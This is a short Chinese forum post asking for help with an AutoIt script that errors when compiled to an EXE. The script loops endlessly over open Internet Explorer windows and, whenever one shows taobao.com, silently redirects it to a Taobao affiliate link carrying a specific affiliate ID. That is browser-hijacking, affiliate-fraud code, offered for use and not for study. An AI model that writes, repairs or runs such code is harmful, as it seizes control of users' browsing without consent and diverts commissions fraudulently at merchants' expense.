这下面是代码,当我编译成EXE的时候就会出现像上面的错误,请高手看看!
While 1
Sleep(400)
$oShell = ObjCreate('shell.application')
$oShellWindows = $oShell.windows
For $Window In $oShellWindows
If StringRight($Window.FullName, 12) = 'iexplore.exe' Then
If $Window.locationurl='http://www.taobao.com/' or $Window.locationurl='http://taobao.com' Then $Window.navigate('http://pindao.huoban.taobao.com/tms/channel/channelcode.htm?pid=mm_12447901_1946460_8927158&mode=86')
EndIf
Next
WEnd